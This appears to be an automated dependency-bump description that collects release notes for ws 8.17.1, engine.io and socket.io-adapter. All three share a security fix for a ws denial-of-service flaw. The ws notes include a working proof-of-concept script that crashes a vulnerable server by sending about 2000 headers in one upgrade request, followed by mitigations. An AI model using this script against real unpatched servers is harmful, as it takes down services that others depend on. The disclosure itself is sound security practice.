Sourced from ws's releases.

8.17.1

Bug fixes

• Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

• 3c56601 [dist] 8.17.1
• e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
• 6a00029 [test] Increase code coverage
• ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
• b73b118 [dist] 8.17.0
• 29694a5 [test] Use the highWaterMark variable
• 934c9d6 [ci] Test on node 22
• 1817bac [ci] Do not test on node 21
• 96c9b3d [major] Flip the default value of allowSynchronousEvents (#2221)
• e5f32c7 [fix] Emit at most one event per event loop iteration (#2218)
• Additional commits viewable in compare view

Sourced from engine.io's releases.

6.5.5

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

• types: make socket.request writable (#697) (0efa04b)

Links

• Diff: https://github.com/socketio/engine.io/compare/6.5.4...6.5.5
• Client release: -
• ws@~8.17.1 (diff)

Sourced from engine.io's changelog.

6.5.5 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Bug Fixes

• types: make socket.request writable (#697) (0efa04b)

Dependencies

• ws@~8.17.1 (diff)

3.6.2 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

Dependencies

• ws@~7.5.10 (diff)

• 0cb977a chore(release): 6.5.5
• adaa207 chore(deps): bump ws from 8.11.0 to 8.17.1 (#702)
• 0efa04b fix(types): make socket.request writable (#697)
• See full diff in compare view

Sourced from socket.io-adapter's releases.

2.5.4

Bug Fixes

• ensure the order of the commands (a13f35f)
• types: ensure compatibility with TypeScript < 4.5 (ca397f3)

Links

• Diff: https://github.com/socketio/socket.io-adapter/compare/2.5.3...2.5.4

2.5.3

Two abstract classes were imported from the Redis adapter repository:

• the ClusterAdapter class, which manages the messages sent between the server instances of the cluster
• the ClusterAdapterWithHeartbeat class, which extends the ClusterAdapter and adds a heartbeat mechanism in order to check the healthiness of the other instances

Other adapters can then just extend those classes and only have to implement the pub/sub mechanism (and not the internal chit-chat protocol):

class MyAdapter extends ClusterAdapterWithHeartbeat {
  constructor(nsp, pubSub, opts) {
    super(nsp, opts);
    this.pubSub = pubSub;
    pubSub.subscribe("main-channel", (message) => this.onMessage(message));
    pubSub.subscribe("specific-channel#" + this.uid, (response) => this.onResponse(response));
  }
doPublish(message) {
return this.pubSub.publish("main-channel", message);
}
doPublishResponse(requesterUid, response) {
return this.pubSub.publish("specific-channel#" + requesterUid, response);
}
}

Besides, the number of "timeout reached: only x responses received out of y" errors (which can happen when a server instance leaves the cluster) should be greatly reduced by this commit.

Bug Fixes

• cluster: fix count in fetchSockets() method (80af4e9)
• cluster: notify the other nodes when closing (0e23ff0)

Performance Improvements

• cluster: use timer.refresh() (d99a71b)

... (truncated)

Sourced from socket.io-adapter's changelog.

2.5.5 (2024-06-18)

This release contains a bump of the ws dependency, which includes an important security fix.

Advisory: https://github.com/advisories/GHSA-3h5v-q93c-6h6q

2.5.4 (2024-02-22)

Bug Fixes

• ensure the order of the commands (a13f35f)
• types: ensure compatibility with TypeScript < 4.5 (ca397f3)

2.5.3 (2024-02-21)

Two abstract classes were imported from the Redis adapter repository:

• the ClusterAdapter class, which manages the messages sent between the server instances of the cluster
• the ClusterAdapterWithHeartbeat class, which extends the ClusterAdapter and adds a heartbeat mechanism in order to check the healthiness of the other instances

Other adapters can then just extend those classes and only have to implement the pub/sub mechanism (and not the internal chit-chat protocol):

class MyAdapter extends ClusterAdapterWithHeartbeat {
  constructor(nsp, pubSub, opts) {
    super(nsp, opts);
    this.pubSub = pubSub;
    pubSub.subscribe("main-channel", (message) => this.onMessage(message));
    pubSub.subscribe("specific-channel#" + this.uid, (response) => this.onResponse(response));
  }
doPublish(message) {
return this.pubSub.publish("main-channel", message);
}
doPublishResponse(requesterUid, response) {
return this.pubSub.publish("specific-channel#" + requesterUid, response);
}
}

Besides, the number of "timeout reached: only x responses received out of y" errors (which can happen when a server instance leaves the cluster) should be greatly reduced by this commit.

Bug Fixes

... (truncated)

• 05a190a chore(release): 6.5.5
• 93fe190 chore(deps): bump ws from 8.11.0 to 8.17.1 (#93)
• 5eae5a0 chore(release): 2.5.4
• 005d546 ci: test with older TypeScript version
• a13f35f fix: ensure the order of the commands
• 207c0db refactor: break circular dependency (2)
• abc93a9 refactor: break circular dependency (1)
• 9d4c4a7 refactor(cluster): export ClusterAdapterOptions and MessageType types
• ca397f3 fix(types): ensure compatibility with TypeScript < 4.5
• 549156c chore(release): 2.5.3
• Additional commits viewable in compare view